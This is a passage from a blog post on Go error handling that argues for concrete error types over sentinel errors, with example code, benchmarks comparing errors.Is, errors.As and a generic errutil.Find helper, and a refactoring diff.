</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Fprintf</span>(<span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Stderr</span>, <span style="color:#a6e22e">tmpl</span>, <span style="color:#a6e22e">username</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Exit</span>(<span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> <span style="color:#a6e22e">errors</span>.<span style="color:#a6e22e">Is</span>(<span style="color:#a6e22e">err</span>, <span style="color:#a6e22e">bluesky</span>.<span style="color:#a6e22e">ErrUnknownAvailability</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">tmpl</span> = <span style="color:#e6db74">&#34;The availability of %q on Bluesky could not be checked.\n&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Fprintf</span>(<span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Stderr</span>, <span style="color:#a6e22e">tmpl</span>, <span style="color:#a6e22e">username</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Exit</span>(<span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Fprintln</span>(<span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Stderr</span>, <span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Exit</span>(<span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#a6e22e">strconv</span>.<span style="color:#a6e22e">FormatBool</span>(<span style="color:#a6e22e">avail</span>))
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="concrete-error-types">Concrete error types <a href="#concrete-error-types">¶</a></h3>
<p>Here is another possible approach: for each distinguished failure case, export
one concrete error type based on an empty struct and equipped with <a href="https://pkg.go.dev/builtin#error.Error" target="_blank" rel="noopener">an <code>Error</code>
method</a> that uses a pointer receiver.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">bluesky</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#e6db74">&#34;math/rand/v2&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">InvalidUsernameError</span> <span style="color:#66d9ef">struct</span>{}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#f92672">*</span><span style="color:#a6e22e">InvalidUsernameError</span>) <span style="color:#a6e22e">Error</span>() <span style="color:#66d9ef">string</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;invalid username&#34;</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">UnknownAvailabilityError</span> <span style="color:#66d9ef">struct</span>{}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#f92672">*</span><span style="color:#a6e22e">UnknownAvailabilityError</span>) <span style="color:#a6e22e">Error</span>() <span style="color:#66d9ef">string</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;unknown availability&#34;</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">IsAvailable</span>(<span style="color:#a6e22e">username</span> <span style="color:#66d9ef">string</span>) (<span style="color:#66d9ef">bool</span>, <span style="color:#66d9ef">error</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// actual implementation omitted</span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">switch</span> <span style="color:#a6e22e">rand</span>.<span style="color:#a6e22e">IntN</span>(<span style="color:#ae81ff">3</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">case</span> <span style="color:#ae81ff">0</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>, new(<span style="color:#a6e22e">InvalidUsernameError</span>)
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">case</span> <span style="color:#ae81ff">1</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>, new(<span style="color:#a6e22e">UnknownAvailabilityError</span>)
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">default</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>, <span style="color:#66d9ef">nil</span>
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Here is an example of client code reacting to such concrete error types:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> (
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;errors&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;fmt&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;os&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;strconv&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;example.com/bluesky&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> len(<span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Args</span>) &lt; <span style="color:#ae81ff">2</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Fprintf</span>(<span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Stderr</span>, <span style="color:#e6db74">&#34;usage: %s &lt;username&gt;\n&#34;</span>, <span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Args</span>[<span style="color:#ae81ff">0</span>])
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Exit</span>(<span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">username</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Args</span>[<span style="color:#ae81ff">1</span>]
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">avail</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">bluesky</span>.<span style="color:#a6e22e">IsAvailable</span>(<span style="color:#a6e22e">username</span>)
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">iuerr</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">bluesky</span>.<span style="color:#a6e22e">InvalidUsernameError</span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> <span style="color:#a6e22e">errors</span>.<span style="color:#a6e22e">As</span>(<span style="color:#a6e22e">err</span>, <span style="color:#f92672">&amp;</span><span style="color:#a6e22e">iuerr</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">tmpl</span> = <span style="color:#e6db74">&#34;%q is not valid on Bluesky.\n&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Fprintf</span>(<span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Stderr</span>, <span style="color:#a6e22e">tmpl</span>, <span style="color:#a6e22e">username</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Exit</span>(<span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">uaerr</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">bluesky</span>.<span style="color:#a6e22e">UnknownAvailabilityError</span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> <span style="color:#a6e22e">errors</span>.<span style="color:#a6e22e">As</span>(<span style="color:#a6e22e">err</span>, <span style="color:#f92672">&amp;</span><span style="color:#a6e22e">uaerr</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">tmpl</span> = <span style="color:#e6db74">&#34;The availability of %q on Bluesky could not be checked.\n&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Fprintf</span>(<span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Stderr</span>, <span style="color:#a6e22e">tmpl</span>, <span style="color:#a6e22e">username</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Exit</span>(<span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Fprintln</span>(<span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Stderr</span>, <span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Exit</span>(<span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#a6e22e">strconv</span>.<span style="color:#a6e22e">FormatBool</span>(<span style="color:#a6e22e">avail</span>))
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>I contend that such error types are often preferrable to sentinel errors, for
three reasons:</p>
<ul>
<li><strong>Performance</strong>: checking for an error type can be faster than checking for a
sentinel error value.</li>
<li><strong>Non-reassignability</strong>: contrary to an exported variable, a type
cannot be clobbered.</li>
<li><strong>Extensibility</strong>: such types can be enriched with additional fields
carrying contextual information about the failure in a backward-compatible
manner.</li>
</ul>
<p>In the remainder of this post, I shall substantiate each of these claims in more
detail.</p>
<h2 id="performance">Performance <a href="#performance">¶</a></h2>
<h3 id="errorsis-and-errorsas-are-slow">errors.Is and errors.As are slow <a href="#errorsis-and-errorsas-are-slow">¶</a></h3>
<p>The release of <a href="https://tip.golang.org/doc/go1.13" target="_blank" rel="noopener">Go 1.13</a> marked the inception of functions
<a href="https://pkg.go.dev/errors#Is" target="_blank" rel="noopener"><code>errors.Is</code></a> and <a href="https://pkg.go.dev/errors#As" target="_blank" rel="noopener"><code>errors.As</code></a> in the standard library:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">errors</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">Is</span>(<span style="color:#a6e22e">err</span>, <span style="color:#a6e22e">target</span> <span style="color:#66d9ef">error</span>) <span style="color:#66d9ef">bool</span> { <span style="color:#75715e">/* ... */</span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">As</span>(<span style="color:#a6e22e">err</span> <span style="color:#66d9ef">error</span>, <span style="color:#a6e22e">target</span> <span style="color:#66d9ef">any</span>) <span style="color:#66d9ef">bool</span> { <span style="color:#75715e">/* ... */</span> }
</span></span></code></pre></div><p>Since then, <code>errors.Is</code> has gained popularity as a better alternative to a
direct comparison (with <code>==</code> or <code>!=</code>) of an <code>error</code> value against a sentinel
error; similarly, calls to <code>errors.As</code> have gradually superseded <a href="https://go.dev/ref/spec#Type_assertions" target="_blank" rel="noopener">type
assertions</a> of an <code>error</code> value against a target type.</p>
<p>Unfortunately, despite their powerful tree-traversing semantics, <a href="https://www.dolthub.com/blog/2024-05-31-benchmarking-go-error-handling/" target="_blank" rel="noopener"><code>errors.Is</code>
has taken its toll on performance</a>, and so has <code>errors.As</code>.
Both functions indeed rely on <a href="https://pkg.go.dev/internal/reflectlite" target="_blank" rel="noopener">reflection</a> to perform safety checks
and forestall panics; and reflection can be slow, sometimes to the point of
becoming a performance bottleneck, especially in CPU-bound workloads (such as
<a href="https://go-review.googlesource.com/c/go/&#43;/274234" target="_blank" rel="noopener">parsing X.509 certificates</a>).  You may be tempted to outright dismiss my
performance concerns about <code>errors.Is</code> and <code>errors.As</code>, perhaps by arguing
that, in typical programs, only the happy path needs be performant; but bear in
mind that, at least <a href="https://go.dev/issue/72951" target="_blank" rel="noopener">in some programs</a>, the happy path happens to
be less exercised than unhappy paths.</p>
<p>Function <code>errors.As</code> actually relies on reflection even more heavily than
function <code>errors.Is</code> does; moreover, its signature is such that a typical call
to it incurs an allocation.  Therefore, <code>errors.As</code> typically is much slower
than <code>errors.Is</code>.  Here are some benchmarks that pits them against each other,
as well as against a more powerful alternative (<code>errutil.Find</code>), which I&rsquo;ll
introduce shortly:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">bluesky_test</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> (
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;errors&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;testing&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;example.com/bluesky&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;github.com/jub0bs/errutil&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">sink</span> <span style="color:#66d9ef">bool</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">BenchmarkErrorChecking</span>(<span style="color:#a6e22e">b</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">testing</span>.<span style="color:#a6e22e">B</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">b</span>.<span style="color:#a6e22e">Run</span>(<span style="color:#e6db74">&#34;k=errors.Is&#34;</span>, <span style="color:#66d9ef">func</span>(<span style="color:#a6e22e">b</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">testing</span>.<span style="color:#a6e22e">B</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">b</span>.<span style="color:#a6e22e">Loop</span>() {
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">sink</span> = <span style="color:#a6e22e">errors</span>.<span style="color:#a6e22e">Is</span>(<span style="color:#a6e22e">bluesky</span>.<span style="color:#a6e22e">ErrInvalidUsername</span>, <span style="color:#a6e22e">bluesky</span>.<span style="color:#a6e22e">ErrInvalidUsername</span>)
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  })
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">b</span>.<span style="color:#a6e22e">Run</span>(<span style="color:#e6db74">&#34;k=errors.As&#34;</span>, <span style="color:#66d9ef">func</span>(<span style="color:#a6e22e">b</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">testing</span>.<span style="color:#a6e22e">B</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">err</span> <span style="color:#66d9ef">error</span> = new(<span style="color:#a6e22e">bluesky</span>.<span style="color:#a6e22e">UnknownAvailabilityError</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">b</span>.<span style="color:#a6e22e">Loop</span>() {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">target</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">bluesky</span>.<span style="color:#a6e22e">UnknownAvailabilityError</span>
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">sink</span> = <span style="color:#a6e22e">errors</span>.<span style="color:#a6e22e">As</span>(<span style="color:#a6e22e">err</span>, <span style="color:#f92672">&amp;</span><span style="color:#a6e22e">target</span>)
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  })
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">b</span>.<span style="color:#a6e22e">Run</span>(<span style="color:#e6db74">&#34;k=errutil.Find&#34;</span>, <span style="color:#66d9ef">func</span>(<span style="color:#a6e22e">b</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">testing</span>.<span style="color:#a6e22e">B</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">err</span> <span style="color:#66d9ef">error</span> = new(<span style="color:#a6e22e">bluesky</span>.<span style="color:#a6e22e">UnknownAvailabilityError</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">b</span>.<span style="color:#a6e22e">Loop</span>() {
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">_</span>, <span style="color:#a6e22e">sink</span> = <span style="color:#a6e22e">errutil</span>.<span style="color:#a6e22e">Find</span>[<span style="color:#f92672">*</span><span style="color:#a6e22e">bluesky</span>.<span style="color:#a6e22e">UnknownAvailabilityError</span>](<span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  })
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>And here are some benchmark results comparing <code>errors.Is</code> and <code>errors.As</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>$ benchstat -col <span style="color:#e6db74">&#39;/k@(errors.Is errors.As)&#39;</span> bench.out
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>goos: darwin
</span></span><span style="display:flex;"><span>goarch: amd64
</span></span><span style="display:flex;"><span>pkg: example.com/bluesky
</span></span><span style="display:flex;"><span>cpu: Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz
</span></span><span style="display:flex;"><span>                │  errors.Is  │               errors.As               │
</span></span><span style="display:flex;"><span>                │   sec/op    │    sec/op     vs base                 │
</span></span><span style="display:flex;"><span>ErrorChecking-8   8.657n ± 6%   92.160n ± 9%  +964.51% (p=0.000 n=20)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                │ errors.Is  │          errors.As           │
</span></span><span style="display:flex;"><span>                │    B/op    │    B/op     vs base          │
</span></span><span style="display:flex;"><span>ErrorChecking-8   0.000 ± 0%   8.000 ± 0%  ? (p=0.000 n=20)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                │ errors.Is  │          errors.As           │
</span></span><span style="display:flex;"><span>                │ allocs/op  │ allocs/op   vs base          │
</span></span><span style="display:flex;"><span>ErrorChecking-8   0.000 ± 0%   1.000 ± 0%  ? (p=0.000 n=20)
</span></span></code></pre></div><p>At first sight, the scale tips more towards sentinel errors than towards
concrete error types, since <code>errors.Is</code> is more than 10 times as fast as
<code>errors.As</code> is, at least on my trusty 2016 Macbook Pro. But wait; there&rsquo;s more.</p>
<h3 id="generics-to-the-rescue">Generics to the rescue <a href="#generics-to-the-rescue">¶</a></h3>
<p>Fortunately, thanks to generics, a better alternative to <code>errors.As</code> is
possible, and one that adheres remarkably closely to <code>errors.As</code>&rsquo;s semantics.
I recently released such an alternative as part of my <a href="https://github.com/jub0bs/errutil" target="_blank" rel="noopener">github.com/jub0bs/errutil
</a> library.</p>
<hr>
<p>Edit (2026/04/09): <a href="tip.golang.org/doc/go1.26">Go 1.26</a> saw the addition of <a href="https://pkg.go.dev/errors#AsType" target="_blank" rel="noopener">a function named
<code>errors.AsType</code></a>, which has the same semantics as my
errutil.Find function.  If you&rsquo;ve already migrated to Go 1.26, there&rsquo;s no
longer any point in relying on github.com/jub0bs/errutil; simply rely on
<code>errors.Astype</code> instead.</p>
<hr>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">errutil</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Find finds the first error in err&#39;s tree that matches type T,</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// and if so, returns the corresponding value and true.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Otherwise, it returns the zero value and false.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// rest of the documentation omitted</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">func Find[T error](err error) (T, bool)</span>
</span></span></code></pre></div><p>In general, calls to <code>errors.As</code> can advantageously be refactored to calls
to <code>errutil.Find</code>, as shown in the diff below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span> package main
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> import (
</span></span><span style="display:flex;"><span><span style="color:#f92672">-  &#34;errors&#34;
</span></span></span><span style="display:flex;"><span>   &#34;fmt&#34;
</span></span><span style="display:flex;"><span>   &#34;os&#34;
</span></span><span style="display:flex;"><span>   &#34;strconv&#34;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>   &#34;example.com/bluesky&#34;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  &#34;github.com/jub0bs/errutil&#34;
</span></span></span><span style="display:flex;"><span> )
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> func main() {
</span></span><span style="display:flex;"><span>   if len(os.Args) &lt; 2 {
</span></span><span style="display:flex;"><span>     fmt.Fprintf(os.Stderr, &#34;usage: %s &lt;username&gt;\n&#34;, os.Args[0])
</span></span><span style="display:flex;"><span>     os.Exit(1)
</span></span><span style="display:flex;"><span>   }
</span></span><span style="display:flex;"><span>   username := os.Args[1]
</span></span><span style="display:flex;"><span>   avail, err := bluesky.IsAvailable(username)
</span></span><span style="display:flex;"><span><span style="color:#f92672">-  var iuerr *bluesky.InvalidUsernameError
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-  if errors.As(err, &amp;iuerr) {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  if _, ok := errutil.Find[*bluesky.InvalidUsernameError](err); ok {
</span></span></span><span style="display:flex;"><span>     const tmpl = &#34;%q is not valid on Bluesky.\n&#34;,
</span></span><span style="display:flex;"><span>     fmt.Fprintf(os.Stderr, tmpl, username)
</span></span><span style="display:flex;"><span>     os.Exit(1)
</span></span><span style="display:flex;"><span>   }
</span></span><span style="display:flex;"><span><span style="color:#f92672">-  var uaerr *bluesky.UnknownAvailabilityError
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-  if errors.As(err, &amp;uaerr) {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  if _, ok := errutil.Find[*bluesky.UnknownAvailabilityError](err); ok {
</span></span></span><span style="display:flex;"><span>     const tmpl = &#34;The availability of %q on Bluesky could not be checked.\n&#34;,
</span></span><span style="display:flex;"><span>     fmt.Fprintf(os.Stderr, tmpl, username)
</span></span><span style="display:flex;"><span>     os.Exit(1)
</span></span><span style="display:flex;"><span>   }
</span></span><span style="display:flex;"><span>   if err != nil {
</span></span><span style="display:flex;"><span>     fmt.Fprintln(os.Stderr, err)
</span></span><span style="display:flex;"><span>     os.Exit(1)
</span></span><span style="display:flex;"><span>   }
</span></span><span style="display:flex;"><span>   fmt.Println(strconv.FormatBool(avail))
</span></span><span style="display:flex;"><span> }
</span></span></code></pre></div><p>In my opinion, <code>errutil.Find</code> is superior to <code>errors.As</code> on at least three counts:</p>
<ul>
<li>It&rsquo;s more ergonomic: it doesn&rsquo;t require callers to pre-declare a variable of
the target dynamic type.</li>
<li>It&rsquo;s more type-safe: thanks to its generic type constraint, it&rsquo;s guaranteed
not to panic.</li>
<li>It&rsquo;s more efficient: because it eschews reflection, it is faster and
incurs fewer allocations, <a href="https://github.com/jub0bs/errutil#benchmarks" target="_blank" rel="noopener">as benchmark results attest</a>.</li>
</ul>
<hr>
<p>Incidentally, <a href="https://go.googlesource.com/proposal/&#43;/master/design/go2draft-error-inspection.md#the-is-and-as-functions" target="_blank" rel="noopener">the error-inspection draft design proposal</a>
suggests that <code>errors.As</code> would have been very similar to my <code>errutil.Find</code>
function if the Go team had managed to crack the parametric-polymorphism nut
(<a href="https://tip.golang.org/doc/go1.18#generics" target="_blank" rel="noopener">Go 1.18</a>) in time for <code>errors.As</code>&rsquo;s inception in the
standard library (<a href="https://tip.golang.org/doc/go1.13#error_wrapping" target="_blank" rel="noopener">Go 1.13</a>).</p>
<p>If you&rsquo;re tempted to adopt <code>errutil.Find</code> in your projects but are reluctant to
add a dependency just for one tiny function, feel free to simply copy
<code>errutil.Find</code>&rsquo;s source code where needed; after all, as <a href="https://www.youtube.com/watch?v=PAAkCSZUG1c&amp;t=9m28s" target="_blank" rel="noopener">Rob Pike puts
it</a>,</p>
<blockquote>
<p>A little copying is better than a little dependency.</p>
</blockquote>
<hr>
<p>Crucially, my benchmarks also show that opting for concrete error types and
checking them with <code>errutil.Find</code> is about twice as fast as sticking with
sentinel errors and checking them with <code>errors.Is</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>$ benchstat -col <span style="color:#e6db74">&#39;/k@(errors.Is errutil.Find)&#39;</span> bench.out
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>goos: darwin
</span></span><span style="display:flex;"><span>goarch: amd64
</span></span><span style="display:flex;"><span>pkg: example.com/bluesky
</span></span><span style="display:flex;"><span>cpu: Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz
</span></span><span style="display:flex;"><span>                │  errors.Is  │            errutil.Find             │
</span></span><span style="display:flex;"><span>                │   sec/op    │   sec/op     vs base                │
</span></span><span style="display:flex;"><span>ErrorChecking-8   8.657n ± 6%   3.822n ± 9%  -55.85% (p=0.000 n=20)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                │ errors.Is  │          errutil.Find          │
</span></span><span style="display:flex;"><span>                │    B/op    │    B/op     vs base            │
</span></span><span style="display:flex;"><span>ErrorChecking-8   0.000 ± 0%   0.000 ± 0%  ~ (p=1.000 n=20) ¹
</span></span><span style="display:flex;"><span>¹ all samples are equal
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                │ errors.Is  │          errutil.Find          │
</span></span><span style="display:flex;"><span>                │ allocs/op  │ allocs/op   vs base            │
</span></span><span style="display:flex;"><span>ErrorChecking-8   0.000 ± 0%   0.000 ± 0%  ~ (p=1.000 n=20) ¹
</span></span></code></pre></div><p>Alright, but I&rsquo;m conscious that a slight performance boost on unhappy paths may
